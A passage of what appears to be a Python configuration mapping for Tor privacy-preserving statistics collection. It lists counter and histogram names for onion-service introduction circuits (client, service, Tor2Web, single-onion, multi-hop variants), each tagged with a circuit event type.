'IntroUTor2WebClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUTor2WebClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUTor2WebClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUTor2WebClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUTor2WebClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUTor2WebClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUTor2WebClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceCircuitCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUMultiHopClientCircuitCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopClientCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUMultiHopClientFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUMultiHopClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUMultiHopClientActiveCircuitCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroUMultiHopClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUMultiHopClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroUMultiHopClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUMultiHopClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroUMultiHopClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUMultiHopClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUMultiHopClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUMultiHopClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceCircuitCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2CircuitCount' : { CIRCUIT_EVENT },
'Intro2CircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2CircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2CircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2CircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2CircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2FailureCircuitCount' : { CIRCUIT_EVENT },
'Intro2FailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2FailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2FailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2FailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2FailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2SuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro2SuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2SuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2SuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2SuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2SuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2ActiveCircuitCount' : { CIRCUIT_EVENT },
'Intro2ActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2ActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2ActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro2ActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2ActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro2ActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2ActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2ActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro2ActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2ActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro2ActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2ActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2ActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro2ActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2InactiveCircuitCount' : { CIRCUIT_EVENT },
'Intro2InactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2InactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2InactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2InactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2InactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2InactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro2InactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2InactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2InactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2InactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2InactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2InactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro2InactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2InactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2InactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2InactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2InactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2ClientCircuitCount' : { CIRCUIT_EVENT },
'Intro2ClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2ClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2ClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ClientCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2ClientFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro2ClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2ClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2ClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2ClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro2ClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2ClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2ClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2ClientActiveCircuitCount' : { CIRCUIT_EVENT },
'Intro2ClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2ClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2ClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro2ClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2ClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro2ClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2ClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2ClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro2ClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2ClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro2ClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2ClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2ClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro2ClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2ClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'Intro2ClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2ClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2ClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2ClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro2ClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2ClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2ClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2ClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro2ClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2ClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2ClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2ServiceCircuitCount' : { CIRCUIT_EVENT },
'Intro2ServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2ServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2ServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2ServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro2ServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2ServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2ServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2ServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro2ServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2ServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2ServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2ServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'Intro2ServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2ServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2ServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro2ServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2ServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro2ServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2ServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2ServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro2ServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2ServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro2ServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2ServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2ServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro2ServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2ServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'Intro2ServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2ServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2ServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2ServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro2ServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2ServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2ServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2ServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro2ServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2ServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
